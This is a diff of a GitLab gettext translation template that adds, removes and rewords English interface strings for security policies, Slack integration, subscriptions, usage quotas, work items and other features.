@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
